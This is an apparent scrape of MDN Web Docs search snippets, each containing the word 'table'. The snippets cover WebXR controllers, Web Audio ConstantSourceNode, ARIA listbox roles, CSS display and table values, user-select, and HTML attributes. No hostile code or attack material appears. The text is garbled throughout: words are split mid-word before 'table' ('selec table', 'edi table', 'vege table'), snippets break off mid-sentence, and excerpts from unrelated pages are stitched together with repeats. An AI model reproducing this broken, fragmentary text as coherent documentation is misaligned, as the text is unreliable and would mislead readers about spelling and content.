se two types of input with the changing of viewing position and/or orientation through the headset or other mechanisms, you can create an interactive simulated environment. input device types webxr supports a variety of different types of devices to handle targeting and action inputs. these devices include but aren't limited to: screen taps (particularly but not necessarily only on phones or
tablets) can be used to simultaneously perform both targeting and selection. motion-sensing controllers, which use accelerometers, magnetometers, and other sensors for motion tracking and targeting and may additionally include any number of buttons, joysticks, thumbpads, touchpads, force sensors, and so on to provide additional input sources for both targeting and selection. squeezable triggers or gl...
...he direction in which the controller is pointing. the ray extends outward in a direction defined by whatever platform and controller are being used, if that's defined; otherwise, the ray extends in the same direction the user is pointing in with their index finger, if it were currently outstretched. the third and final target ray mode is most commonly found on mobile devices like smartphones and
tablets. the screen mode indicates that the target ray is determined based on the user interacting with the webxr context by engaging with the screen in some way—most likely by the viewer tapping the screen or dragging the target ray around with their fingers. target ray space the xrspace used to describe the position and orientation of the target ray is found in the targetrayspace property. this s...
... the coordinates of the grip space can be expressed in world coordinates as (x, y, -z); z is negative since the grip space is farther away along the z axis, and is thus in the negative direction. if the controller were instead positioned to the left of and closer to the user than the world space origin (or possibly behind the user, if the user is located at the origin, although that's an uncomfor
table way to hold a controller), the coordinates would have a negative value for x, but a positive value for z. the value of y would still be positive unless the controller was moved below the world space origin. this is shown in the diagram below, in which the controller is located down and to the left of the world space's origin, with the controller also moved to be closer to us than the origin. as ...
...also provides a way to more directly access and monitor the controls that serve as the primary select and squeeze inputs, since these are included in its buttons list. because this use of the gamepad interface is a convenience rather than a true application of the gamepad api, there are several differences between how it's used with webxr and how it's used in gamepad api applications. the most no
table—but not the only—difference is that webxr adds the xr-standard gamepad mapping, expanding the gamepadmappingtype enumerated type. this gamepad mapping defines how the controls on a typical one-hand handheld vr controller are mapped to gamepad controls. for details on the gamepad mapping as well as the other differences how the use of the gamepad object and its children differs from its use ...
Controlling multiple parameters with ConstantSourceNode - Web APIs
(gain for the gainnodes and pan for the stereopannernode. as a result, every time you change n (the value of the input audioparam, the values of the two gainnodes' gain properties and the value of the stereopannernode's pan propertry are all set to n as well. example let's take a look at this technique in action. in this simple example, we create three oscillatornodes. two of them have adjus
table gain, controlled using a shared input control. the other oscillator has a fixed volume. html the html content for this example is primarily a button to toggle the oscillator tones on and off and an <input> element of type range to control the volume of two of the three oscillators. <div class="controls"> <div class="left"> <div id="playbutton" class="button"> ▶️ </div> </...
... setting up let's start by looking...
...-user-select: none; -ms-user-select: none; -o-user-select: none; } .right { width: 50%; font: 14px "open sans", "lucida grande", "arial", sans-serif; position: absolute; right: 0; display:
table-cell; vertical-align: middle; } .right span { vertical-align: middle; } .right input { vertical-align: baseline; } .left { width: 50%; position: absolute; left: 0; display:
table-cell; vertical-align: middle; } .left span, .left input { vertical-align: middle; } javascript now let's take a look at the javascript code, a piece at a time. setting up let's start by looking at the global variable initialization. let context = null; let playbutton = null; let volumecontrol = null; let oscnode1 = null; let oscnode2 = null; let oscnode3 = null; let constantnode = nu...
...dio nodes live. playbutton and volumecontrol references to the play button and volume control elements. oscnode1, oscnode2, and oscnode3 the three oscillatornodes used to generate the chord. gainnode1, gainnode2, and gainnode3 the three gainnode instances which provide the volume levels for each of the three oscillators. gainnode2 and gainnode3 will be linked together to have the same, adjus
table, value using the constantsourcenode. constantnode the constantsourcenode used to control the values of gainnode2 and gainnode3 together. playing a boolean that we'll use to keep track of whether or not we're currently playing the tones. now let's look at the setup() function, which is our handler for the window's load event; it handles all the initialization tasks that require the dom to be...
Web APIs
meterelement htmlmodelement htmlolistelement htmlobjectelement htmloptgroupelement htmloptionelement htmloptionscollection htmlorforeignelement htmloutputelement htmlparagraphelement htmlparamelement htmlpictureelement htmlpreelement htmlprogresselement htmlquoteelement htmlscriptelement htmlselectelement htmlshadowelement htmlslotelement htmlsourceelement htmlspanelement htmlstyleelement html
tablecaptionelement html
tablecellelement html
tablecolelement html
tableelement html
tablerowelement html
tablesectionelement htmltemplateelement htmltextareaelement htmltimeelement htmltitleelement htmltrackelement htmlulistelement htmlunknownelement htmlvideoelement hashchangeevent headers history hkdfparams hmacimportparams hmackeygenparams i idbcursor idbcursorsync idbcursorwithvalue idbdatabase...
...element htmltrackelement htmlulistelement htmlunknownelement htmlvideoelement hashchangeevent headers history hkdfparams hmacimportparams hmackeygenparams i idbcursor idbcursorsync idbcursorwithvalue idbdatabase idbdatabaseexception idbdatabasesync idbenvironment idbenvironmentsync idbfactory idbfactorysync idbindex idbindexsync idbkeyrange idblocaleawarekeyrange idbmu
tablefile idbobjectstore idbobjectstoresync idbopendbrequest idbrequest idbtransaction idbtransactionsync idbversionchangeevent idbversionchangerequest iirfilternode idledeadline imagebitmap imagebitmaprenderingcontext imagecapture imagedata index inputdevicecapabilities inputevent installevent installtrigger intersectionobserver intersectionobserverentry interventionreportbody k k...
...erence svgunittypes svguseelement svgvkernelement svgviewelement svgzoomandpan screen screenorientation scriptprocessornode scrolltooptions securitypolicyviolationevent selection sensor sensorerrorevent serviceworker serviceworkercontainer serviceworkerglobalscope serviceworkermessageevent serviceworkerregistration serviceworkerstate shadowroot sharedworker sharedworkerglobalscope slot
table sourcebuffer sourcebufferlist speechgrammar speechgrammarlist speechrecognition speechrecognitionalternative speechrecognitionerror speechrecognitionerrorevent speechrecognitionevent speechrecognitionresult speechrecognitionresultlist speechsynthesis speechsynthesiserrorevent speechsynthesisevent speechsynthesisutterance speechsynthesisvoice staticrange stereopannern...
...glframebuffer webglprogram webglquery webglrenderbuffer webglrenderingcontext webglsampler webglshader webglshaderprecisionformat webglsync webgltexture webgltransformfeedback webgluniformlocation webglvertexarrayobject webkitcssmatrix websocket wheelevent window windowclient windoweventhandlers windoworworkerglobalscope worker workerglobalscope workerlocation workernavigator worklet wri
tablestream wri
tablestreamdefaultcontroller wri
tablestreamdefaultwriter x xdomainrequest xmldocument xmlhttprequest xmlhttprequesteventtarget xmlhttprequestresponsetype xmlserializer xpathevaluator xpathexception xpathexpression xpathnsresolver xpathresult xrboundedreferencespace xrenvironmentblendmode xreye xrframe xrframerequestcallback xrhandedness xrinputsource xrinputsourcearray xrinput...
ARIA: listbox role - Accessibility
ft + up/down arrows will move and extend the selection. typing one or more letters will navigate the list items (same letter goes to each item starting with that, different letters go to the first item starting with that entire string). if the current item has an associated context menu, shift+f10 will launch that menu. if list items are checkable, space can be used to toggle checkboxes. for selec
table list items, space toggles their selection, shift+space can be used to select contiguous items, ctrl+arrow moves without selecting, and ctrl+space can be used to select non-contiguous items. it is recommended that a checkbox, link or other method be used to select all items, and ctrl+a could be used as a shortcut key for this. when the listbox role is added to an element, or such an element becom...
...sition with the list if the screen reader supports this. as focus moves within the list, the screen reader announces the relevant items. associated aria roles, states, and properties associated roles option one or more nested options are required. all selected options have aria-selected set to true. all options that are not selected have aria-selected set to false. if an option is not selec
table, omit the aria-selected. list a section containing listitem elements states and properties aria-activedescendant holds the id string of the currently active element within the listbox. if that's an option element, then that would be the id of the most recently interacted with option, regardless of whether that option has an aria-selected value of true or not. takes the value of only one ...
.... list a section containing listitem elements states and properties aria-activedescendant holds the id string of the currently active element within the listbox. if that's an option element, then that would be the id of the most recently interacted with option, regardless of whether that option has an aria-selected value of true or not. ...
...value of only one id, even in a multiselec
table listbox. if the id does not refer to a dom descendant of the listbox, then that id must be included among the ids in the aria-owns attrubute. aria-owns this is a space-separated list of element ids which are not dom child elements of the listbox. ids listed here cannot also be listed in aria-owns attributes of any other elements. aria-multiselec
table include and set to true if the user can select more than one option. if set to true, every selec
table option should have an aria-selected attribute included and set to true or false. options which are not selec
table should not have the aria-selected attribute. if false or omitted, only the currently selected option, if any option is selected, needs the aria-selected attribute, and it must be s...
HTML To MSAA - Accessibility
remarks the
table below shows how gecko maps html elements to msaa. this
table reflects mapping rules for specific elements only, it doesn't reflect any general rules applicable to all elements. for example, if name column has n/a value then it means specific elements doesn't provide own rules to calculate name but name can be computed from aria markup or @title attribute. ...
...ts only, it doesn't reflect any general rules applicable to all elements. for example, if name column has n/a value then it means specific elements doesn't provide own rules to calculate name but name can be computed from aria markup or @title attribute. ...
... state_system_ traversed if link is traversed n/a "jump" if @href is valid n/a br role_system_ whitespace '\n' (new line char) state_system_ readonly n/a n/a n/a button role_system_ pushbutton from child nodes n/a state_system_ focusable state_system_ default if @type attribute has value "submit" n/a "press" n/a caption bstr role n/a n/a n/a description_for (0x100f), points to
table element div bstr role n/a n/a n/a n/a n/a n/a fieldset role_system_ grouping text equivalent from child legend element n/a n/a labelled_by (1003), points to legend element n/a n/a hr role_system_ separator n/a n/a n/a n/a n/a n/a img, input @type=image role_system_ graphic from @alt attribute, empty @alt attribute means name can't be calculated at all n/a state_system_ animat...
...stem_ readonly n/a n/a n/a optgroup bstr role n/a n/a n/a n/a n/a n/a option role_system_ listitem from @label attribute, from child text nodes n/a state_system_ selected if option is selected n/a "select" event_object_ selectionwithin event_object_ selectionadd if selected event_object_ selectionremove if unselected select @size > 1 role_system_ list n/a n/a state_system_ multiselec
table if multiselec
table n/a n/a n/a select @size = 1 role_system_ combobox n/a name of focused option state_system_ expanded if combobox open state_system_ collapsed if combobox is collapsed state_system_ haspopup state_system_ focusable n/a "open"/"close" depending on state event_object_ valuechange when selected option is changed
table role_system_
table from @summary attribute n/a des...
Color picker tool - CSS: Cascading Style Sheets
</div> </div> <div id="canvas" data-tutorial="drop"> <div id="zindex" class="ui-input-slider" data-topic="z-index" data-info="z-index" data-max="20" data-sensivity="10"></div> </div> </div> css /* * color picker tool */ .ui-color-picker { width: 420px; margin: 0; border: 1px solid #ddd; background-color: #fff; display:
table; -moz-user-select: none; -webkit-user-select: none; -ms-user-select: none; user-select: none; } .ui-color-picker .picking-area { width: 198px; height: 198px; margin: 5px; border: 1px solid #ddd; position: relative; float: left; display:
table; } .ui-color-picker .picking-area:hover { cursor: default; } /* hsv format - hue-saturation-value(brightness) */ .ui-color-picker .picking-a...
.../files/6083/resize.png') center center no-repeat; position: absolute; bottom: 0; right: 0; } [data-resize='both']:hover { cursor: nw-resize !important; } [data-resize='width']:hover { cursor: w-resize !important; } [data-resize='height']:hover { cursor: n-resize !important; } [data-hidden='true'] { display: none; } [data-collapsed='true'] { height: 0 !important; } .block { display:
table; } /** * container */ #container { width: 100%; -moz-box-sizing: border-box; -webkit-box-sizing: border-box; box-sizing: border-box; display:
table; } /** * picker zone */ #picker { padding: 10px; width: 980px; } .ui-color-picker { padding: 3px 5px; float: left; border-color: #fff; } .ui-color-picker .switch_mode { display: none; } .ui-color-picker .preview-color:hover {...
...er-samples #add-icon:hover:after { background-color: #ddd; box-shadow: 0 0 1px 0 #ddd; } /** * controls */ #controls { width: 110px; padding: 10px; float: right; } #controls #picker-switch { text-align: center; float: left; } #controls .icon { width: 48px; height: 48px; margin: 10px 0; background-repeat: no-repeat; background-position: center; border: 1px solid #ddd; display:
table; float: left; } #controls .icon:hover { cursor: pointer; } #controls .picker-icon { background-image: url('https://mdn.mozillademos.org/files/6081/picker.png'); } #controls #void-sample { margin-right: 10px; background-image: url('https://mdn.mozillademos.org/files/6087/void.png'); background-position: center left; } #controls #void-sample[data-active='true'] { border-color: #ccc; bac...
... float: left; } #color-palette .container { width: 100%; height: 50px; line-height: 50px; overflow: hidden; float: left; transition: all 0.5s; } #color-palette .container > * { float: left; } #color-palette .title { width: 100px; padding: 0 10px; text-align: right; line-height: inherit; } #color-palette .palette { width: 456px; height: 38px; margin: 3px; padding: 3px; display:
table; background-color: #fff; } #color-palette .palette .sample { width: 30px; height: 30px; margin: 3px; position: relative; border: 1px solid #ddd; float: left; transition: all 0.2s; } #color-palette .palette .sample:hover { cursor: pointer; border-color: #bbb; transform: scale(1.15); border-radius: 3px; } #color-palette .controls { } #color-palette .controls > * { float: left; } #...
Backwards Compatibility of Flexbox - CSS: Cascading Style Sheets
y: inline-block once an inline-block item becomes a flex item, it is blockified and so behavior of display: inline-block like preserving white space between items no longer applies. remove display: flex to see the fallback behavior. you'll see white space added between the items, which is what happens when using display: inine-block as it prefers white space like other inline items. display:
table- the css
table display properties are potentially very useful as a fallback, due to the fact that they allow design patterns such as full height columns and vertical centering and work back as far as internet explorer 8. if you use display:
table-cell on an item in your html it takes on the styling of an html
table cell. css creates anonymous boxes to represent these items so that you do not n...
... useful as a fallback, due to the fact that they allow design patterns such as full height columns and vertical centering and work back as far as internet explorer 8. if you use display:
table-cell on an item in your html it takes on the styling of an html
table cell. css creates anonymous boxes to represent these items so that you do not need to wrap each item in a wrapper to represent the html
table row, and a second one to represent the
table element itself, you can’t see or style these anonymous boxes; they are there purely to fix up the tree. if you then declare display: flex on the parent item, these anonymous boxes do not get created and so your item remains a direct child and can become a flex item — losing any of the
table display features. “note: some values of display norma...
...boxes do not get created and so your item remains a direct child and can become a flex item — losing any of the
table display features. “note: some values of display normally trigger the creation of anonymous boxes around the original box. if such a box is a flex item, it is blockified first, and so anonymous box creation will not happen. for example, two contiguous flex items with display:
table-cell will become two separate display: block flex items, instead of being wrapped into a single anonymous
table.” - 4. flex items the vertical-align property the live example below demonstrates use of the vertical-align property along with display: inline-block. both display:
table-cell and display: inline-block allow for the use of this property. use of vertical-align enables vertical ali...
...e.” - 4. flex items the vertical-align property the live example below demonstrates use of the vertical-align property along with display: inline-block. both display:
table-cell and display: inline-block allow for the use of this property. use of vertical-align enables vertical alignment prior to flexbox. the property is ignored by flexbox and so you can use it in conjunction with display:
table-cell or display: inline-block as a fallback and then safely use box alignment properties in flexbox instead. feature queries and flexbox you can use feature queries to detect flexbox support: @supports (display: flex) { // code for supporting browsers } note that internet explorer 11 does not support feature queries yet does support flexbox. if you decide the ie11 implementation is too bu...
CSS Grid Layout and Progressive Enhancement - CSS: Cascading Style Sheets
as a "hack", we are taking advantage of the fact that the grid specification details the interaction between different layout methods. other values of display when an element has a parent set to display: grid it is blockified, as defined in the css display specification. in the case of our item set to inline-block, this is why display: inline-block no longer applied. ...
... the grid specification details the interaction between different layout methods. other values of display when an element has a parent set to display: grid it is blockified, as defined in the css display specification. in the case of our item set to inline-block, this is why display: inline-block no longer applied. if you are using display:
table for your legacy layout, an item set to display:
table-cell generates anonymous boxes. ...
...out methods. other values of display when an element has a parent set to display: grid it is blockified, as defined in the css display specification. in the case of our item set to inline-block, this is why display: inline-block no longer applied. if you are using display:
table for your legacy layout, an item set to display:
table-cell generates anonymous boxes. therefore, if you use display:
table-cell without any parent element set to display-
table, an anonymous
table wrapper is created around any adjacent cells, just as if you had wrapped them in a div or other element set to display:
table. if you have an item set to display:
table-cell, and then in a feature query change the parent to display: grid, this anonymous box creation will not happen. this means you can overwrite display: tabl...
...in your grid layout you then have the far more powerful box alignment properties. multiple-column layout you can also use multiple column layout as your legacy browser plan, as the column-* properties do not apply when applied to a grid container. ...
border-radius - CSS: Cascading Style Sheets
ve example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. the radius applies to the whole background, even if the element has no border; the exact position of the clipping is defined by the background-clip property. the border-radius property does not apply to
table elements when border-collapse is collapse. note: as with any shorthand property, individual sub-properties cannot inherit, such as in border-radius:0 0 inherit inherit, which would partially override existing definitions. instead, the individual longhand properties have to be used. constituent properties this property is a shorthand for the following css properties: border-bottom-left-radiu...
...it also applies to ::first-letter.inheritednopercentagesrefer to the corresponding dimension of the border boxcomputed valueas each of the properties of the shorthand:border-bottom-left-radius: two absolute <length>s or <percentage>sborder-bottom-right-radius: two abso...
...it also applies to ::first-letter.inheritednopercentagesrefer to the corresponding dimension of the border boxcomputed valueas each of the properties of the shorthand:border-bottom-left-radius: two absolute <length>s or <percentage>sborder-bottom-right-radius: two absolute <length>s or...
...-radius: 6px 2px; border-bottom-left-radius: 3px 4px; formal definition initial valueas each of the properties of the shorthand:border-top-left-radius: 0border-top-right-radius: 0border-bottom-right-radius: 0border-bottom-left-radius: 0applies toall elements; but user agents are not required to apply to
table and inline-
table elements when border-collapse is collapse. the behavior on internal
table elements is undefined for the moment.. it also applies to ::first-letter.inheritednopercentagesrefer to the corresponding dimension of the border boxcomputed valueas each of the properties of the shorthand:border-bottom-left-radius: two absolute <length>s or <percentage>sborder-bottom-right-radius: two absolute <length>s or <percentage>sborder-top-left-radius: two absolute <length>s or <percentag...
caret-color - CSS: Cascading Style Sheets
the caret is typically a thin vertical line that flashes to help make it more noticeable. by default, it is black, but its color can be altered with this property. the source for this interactive example is stored in a github repository. ...
...is interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. note that the insertion caret is only one type of caret. for example, many browsers have a “navigation caret,” which acts similarly to an insertion caret but can be moved around in non-edi
table text. on the other hand, the mouse cursor image shown when hovering over text where the cursor property is auto, or when hovering over an element where the cursor property is text or vertical-text, though it sometimes looks like a caret, is not a caret (it’s a cursor). syntax /* keyword values */ caret-color: auto; caret-color: transparent; caret-color: currentcolor; /* <color> values */ car...
... 24%, 0.8); values auto the user agent selects an appropriate color for the caret. this is generally currentcolor, but the user agent may choose a different color to ensure good visibility and contrast with the surrounding content, taking into account the value of currentcolor, the background, shadows, and other factors. note: while user agents may use currentcolor (which is usually anima
table) for the auto value, auto is not interpolated in transitions and animations. <color> the color of the caret. formal definition initial valueautoapplies toall elementsinheritedyescomputed valueauto is computed as specified and <color> values are computed as defined for the color property.animation typea color formal syntax auto | <color>where <color> = <rgb()> | <rgba()> | <hsl()> | <hs...
...ue>? )<hsla()> = hsla( <hue> <percentage> <percentage> [ / <alpha-value> ]? ) | hsla( <hue>, <percentage>, <percentage>, <alpha-value>? ...
column-count - CSS: Cascading Style Sheets
umber of columns is determined by other css properties, such as column-width. <integer> is a strictly positive <integer> describing the ideal number of columns into which the content of the element will be flowed. if the column-width is also set to a non-auto value, it merely indicates the maximum allowed number of columns. formal definition initial valueautoapplies toblock containers except
table wrapper boxesinheritednocomputed valueas specifiedanimation typean integer formal syntax <integer> | auto examples splitting a paragraph across three columns html <p class="content-box"> this is a bunch of text split into three columns using the css `column-count` property. the text is equally distributed over the columns. </p> css .content-box { column-count: 3; } result spe...
... using the css `column-count` property. the text is equally distributed over the columns. </p> css .content-box { column-count: 3; } result specifications specification status comment css multi-column layout modulethe definition of 'column-count' in that specification. working draft initial definition. browser compatibility the compatibility
table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetcolumn-countchrome full support ...
... 12prefixed prefixed implemented with the vendor prefix: -webkit-firefox full support 52 full support 52 no support 1.5 — 74prefixed notes prefixed implemented with the vendor prefix: -moz-notes prior to version 37, multiple columns didn't work with display:
table-caption elements.ie full support 10opera full support 11.1 full support 11.1 full support 15prefixed prefixed implemented with the vendor prefix: -webkit-safari full support ...
... 18prefixed prefixed implemented with the vendor prefix: -webkit-firefox android full support 52 full support 52 full support 4prefixed notes prefixed implemented with the vendor prefix: -moz-notes prior to version 37, multiple columns didn't work with display:
table-caption elements.opera android full support 11.1 full support 11.1 full support 14prefixed prefixed implemented with the vendor prefix: -webkit-safari ios full support 9 full support ...
<display-internal> - CSS: Cascading Style Sheets
some layout models such as
table and ruby have a complex internal structure, with several different roles that their children and descendants can fill. this page defines those "internal" display values, which only have meaning within that particular layout mode. syntax valid <display-internal> values:
table-row-group these elements behave like <tbody> html elements.
table-header-group these elements behave like <thead> html elements.
table-footer-group these elements behave like <tfoot> html elements.
table-row these elements behave like <tr> html elements.
table-cell these elements behave like <td> html elements.
table-column-group these elements behave like <colgroup> html elements.
table-column these elements behave like <col> html elements. ...
...
table-header-group these elements behave like <thead> html elements.
table-footer-group these elements behave like <tfoot> html elements.
table-row these elements behave like <tr> html elements.
table-cell these elements behave like <td> html elements.
table-column-group these elements behave like <colgroup> html elements.
table-column these elements behave like <col> html elements.
table-caption these elements behave like <caption> html elements. ruby-base these elements behave like <rb> html elements. ruby-text these elements behave like <rt> html elements. ruby-base-container these elements behave like <rbc> html elements generated as anonymous boxes. ruby-text-container these elements behave like <rtc> html elements. ...
...<col> html elements.
table-caption these elements behave like <caption> html elements. ruby-base these elements behave like <rb> html elements. ruby-text these elements behave like <rt> html elements. ruby-base-container these elements behave like <rbc> html elements generated as anonymous boxes. ruby-text-container these elements behave like <rtc> html elements. examples css
tables example the following example demonstrates laying out a simple form using css
table layout. ...
...ese elements behave like <rtc> html elements. examples css
tables example the following example demonstrates laying out a simple form using css
table layout. html <main> <div> <label for="name">name</label> <input type="text" id="name" name="name"> </div> <div> <label for="age">age</label> <input type="text" id="age" name="age"> </div> </main> css main { display:
table; } div { display:
table-row; } label, input { display:
table-cell; margin: 5px; } result specifications specification status css display module level 3the definition of 'display-internal' in that specification. candidate recommendation ...
max-height - CSS: Cascading Style Sheets
argument)). accessibility concerns ensure that elements set with a max-height are not truncated and/or do not obscure other content when the page is zoomed to increase text size. mdn understanding wcag, guideline 1.4 explanations understanding success criterion 1.4.4 | w3c understanding wcag 2.0 formal definition initial valuenoneapplies toall elements but non-replaced inline elements,
table columns, and column groupsinheritednopercentagesthe percentage is calculated with respect to the height of the generated box's containing block. if the height of the containing block is not specified explicitly (i.e., it depends on content height), and this element is not absolutely positioned, the percentage value is treated as none.computed valuethe percentage as specified or the absolute lengt...
... editor's draft css box sizing module level 3the definition of 'max-height' in that specification. working draft adds the max-content, min-content, fit-content keywords. ...
...x-height' in that specification. editor's draft css box sizing module level 3the definition of 'max-height' in that specification. working draft adds the max-content, min-content, fit-content keywords. css level 2 (revision 1)the definition of 'max-height' in that specification. recommendation initial definition. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetmax-heightchrome full support ...
...dfirefox for androidopera for androidsafari on iossamsung internetmax-heightchrome full support 18edge full support 12firefox full support 1notes full support 1notes notes css 2.1 leaves the behavior of max-height with
table undefined. firefox supports applying max-height to
table elements.ie full support 7opera full support 7notes full support 7notes notes css 2.1 leaves the behavior of max-height with
table undefined. opera supports applying max-height to
table elements.safari ...
max-width - CSS: Cascading Style Sheets
, argument)). accessibility concerns ensure that elements set with a max-width are not truncated and/or do not obscure other content when the page is zoomed to increase text size. ...
...max-width' in that specification. editor's draft css box sizing module level 3the definition of 'max-width' in that specification. working draft adds the max-content, min-content, fit-content keywords. css level 2 (revision 1)the definition of 'max-width' in that specification. recommendation initial definition. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetmax-widthchrome full support ...
...roidfirefox for androidopera for androidsafari on iossamsung internetmax-widthchrome full support 1edge full support 12firefox full support 1notes full support 1notes notes css 2.1 leaves the behavior of max-width with
table undefined. firefox supports applying max-width to
table elements.ie full support 7opera full support 4notes full support 4notes notes css 2.1 leaves the behavior of max-width with
table undefined. opera supports applying max-width to
table elements.safari ...
... full support 1webview android full support 4.4chrome android full support 18firefox android full support 4notes full support 4notes notes css 2.1 leaves the behavior of max-width with
table undefined. firefox supports applying max-width to
table elements.opera android full support 14safari ios full support 1samsung internet android full support 1.0fit-content experimentalchrome full support 46 ...
user-select - CSS: Cascading Style Sheets
nitial auto value makes it behave like it is inherited most of the time. webkit/chromium-based browsers do implement the property as inherited, which violates the behavior described in the spec, and this will bring some issues. until now, chromium chooses to fix the issues, make the final behavior meets the specifications. syntax none the text of the element and its sub-elements is not selec
table. ...
...ues. until now, chromium chooses to fix the issues, make the final behavior meets the specifications. syntax none the text of the element and its sub-elements is not selec
table. note that the selection object can contain these elements. auto the used value of auto is determined as follows: on the ::before and ::after pseudo elements, the used value is none if the element is an edi
table element, the used value is contain otherwise, if the used value of user-select on the parent of this element is all, the used value is all otherwise, if the used value of user-select on the parent of this element is none, the used value is none otherwise, the used value is text text the text can be selected by the user. all the content of the element shall be selected atomically: if...
...nt. element (ie-specific alias) same as contain. supported only in internet explorer. note: css ui 4 renames user-select: element to contain. ...
...lect: element to contain. formal definition initial valueautoapplies toall elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax auto | text | none | contain | all examples html <p>you should be able to select this text.</p> <p class="unselec
table">hey, you can't select this text!</p> <p class="all">clicking once will select all of this text.</p> css .unselec
table { -moz-user-select: none; -webkit-user-select: none; -ms-user-select: none; user-select: none; } .all { -moz-user-select: all; -webkit-user-select: all; -ms-user-select: all; user-select: all; } result specifications specification status comment css basic user interface module level 4the definition of 'user-select' in that specification. worki...
User input and controls - Developer guides
latform offers touch events to interpret finger activity on touch-based user interfaces. for devices providing a mouse/touchpad as a pointing method, the pointer lock api helps you in implementing a first person 3d game or other applications requiring full control of the pointing device. and the fullscreen api helps you in displaying your app in fullscreen mode. using features such as contentedi
table elements you can implement fast rich-text editors and with drag&drop let users moving elements inside your app. when screen orientation matters for your application, through the screen orientation api you can read the screen orientation state and perform other actions. you should always be mindful of keyboard accessibility where appropriate — many web users only use keyboard to navigate web si...
...nt.datatransfer.setdata('text/plain', 'this text may be dragged')">
this text <strong>may</strong> be dragged.
</div> in which we: set the draggable attribute to true on the element that you wish to make draggable add a listener for the dragstart event and set the drag data within this listener note: you can find more information in the mdn drag & drop documentation. contentedi
table in open web apps any dom element can be made directly edi
table using the contentedi
table attribute. <div contentedi
table="true">
this text can be edited by the user. </div> note: compatibility information, examples and other resources can be found in the content edi
table guide. examples tracking multiple touch points at a time this example tracks multiple touch points at a time, ...
...ill only work on a browser that supports touch events. simple pointer lock demo we've written a simple pointer lock demo to show you how to use it to set up a simple control system. the demo uses javascript to draw a ball inside a <canvas> element. when you click the canvas, pointer lock is then used to remove the mouse pointer and allow you to move the ball directly using the mouse. contentedi
table demo this is a working example showing how contentedi
table can be used to create an edi
table document section, the state of which is then saved using localstorage. tutorials touch events guide managing screen orientation using fullscreen mode dragging and dropping multiple items drag operations guide reference mouseevent keyboardevent touch events pointer_lock_api screen orient...
...tedi
table can be used to create an edi
table document section, the state of which is then saved using localstorage. ...
disabled - HTML: Hypertext Markup Language
the user can neither edit nor focus on the control, nor it's form control descendants. if the disabled attribute is specified on a form control, the element and its form control descendants do not participate in constraint validation. often browsers grey out such controls and it won't receive any browsing events, like mouse clicks or focus-related ones. the disabled attribute is supported by <button>, <command>, <fieldset>, <keygen>, <optgroup>, <option>, <select>, <textarea> and <input>. ...
...tribute is not specified, the control inherits its setting from the containing element, for example fieldset; if there is no containing element with the disabled attribute set, and the control itself does not have the attribute, then the control is enabled. if declared on an <optgroup>, the select is still interactive (unless otherwise disabled), but none of the items in the option group are selec
table. note: if a <fieldset> is disabled, the descendant form controls are all disabled, with the exception of form controls within the <legend>. when a supporting element has the disabled attribute applied, the :disabled pseudo-class also applies to it. conversely, elements that support the disabled attribute but don't have the attribute set match the :enabled pseudo-class. this boolean attribute...
...d-only controls can still function and are still focusable, whereas disabled controls can not receive focus and are not submitted with the form and generally do not function as controls until they are enabled. because a disabled field cannot have it's value changed, required does not have any effect on inputs with the disabled attribute also specified. ...
... if present on a supporting elements, the :disabled pseudo class will match. if the attribute is not included, the :enabled pseudo class will match. ...
HTML attribute: size - HTML: Hypertext Markup Language
ies impacting the width, css takes precedence. the size attribute has no impact on constraint validation. examples by adding size on some input types, the width of the input can be controlled. adding size on a select changes the height, definining how many options are visible in the closed state. ...
...idth, css takes precedence. the size attribute has no impact on constraint validation. examples by adding size on some input types, the width of the input can be controlled. adding size on a select changes the height, definining how many options are visible in the closed state. ...
...ribute has no impact on constraint validation. examples by adding size on some input types, the width of the input can be controlled. adding size on a select changes the height, definining how many options are visible in the closed state. ...
... are visible in the closed state. <label for="fruit">enter a fruit</label> <input type="text" size="15" id="fruit"> <label for="vege
table">enter a vege
table</label> <input type="text" id="vege
table"> <select name="fruits" size="5"> <option>banana</option> <option>cherry</option> <option>strawberry</option> <option>durian</option> <option>blueberry</option> </select> <select name="vege
tables" size="5"> <option>carrot</option> <option>cucumber</option> <option>cauliflower</option> <option>celery</option> <option>collard greens</option> </select> specifications specification status html living standardthe definition of 'size attribute' in that specification. living standard html 5.1the definition of 'size attribute' in that specification. re...
Global attributes - HTML: Hypertext Markup Language
words, the first letter of each word defaults to a capital letter; all other letters default to lowercase characters, all letters should default to uppercase class a space-separated list of the classes of the element. classes allows css and javascript to select and access specific elements via the class selectors or functions like the method document.getelementsbyclassname(). contentedi
table an enumerated attribute indicating if the element should be edi
table by the user. if so, the browser modifies its widget to allow editing. the attribute must take one of the following values: true or the empty string, which indicates that the element must be edi
table; false, which indicates that the element must not be edi
table. contextmenu the id of a <menu> to use as the contextua...
...identifier (id) which must be unique in the whole document. its purpose is to identify the element when linking (using a fragment identifier), scripting, or styling (with css). inputmode provides a hint to browsers as to the type of virtual keyboard configuration to use when editing this element or its contents. used primarily on <input> elements, but is usable on any element while in contentedi
table mode. is allows you to specify that a standard html element should behave like a registered custom built-in element (see using custom elements for more details). note: the item* attributes are part of the whatwg html microdata feature. itemid the unique, global identifier of an item. itemprop used to add properties to an item. every html element may have an itemprop attribute specifie...
...f a vocabulary (such as schema.org) that describes the item and its properties context. itemtype specifies the url of the vocabulary that will be used to define itemprops (item properties) in the data structure. itemscope is used to set the scope of where in the data structure the vocabulary set by itemtype will be active. lang helps define the language of an element: the language that non-edi
table elements are in, or the language that edi
table elements should be written in by the user. the attribute contains one “language tag” (made of hyphen-separated “language subtags”) in the format defined in tags for identifying languages (bcp47). xml:lang has priority over it. part a space-separated list of the part names of the element. part names allows css to select and style specific el...
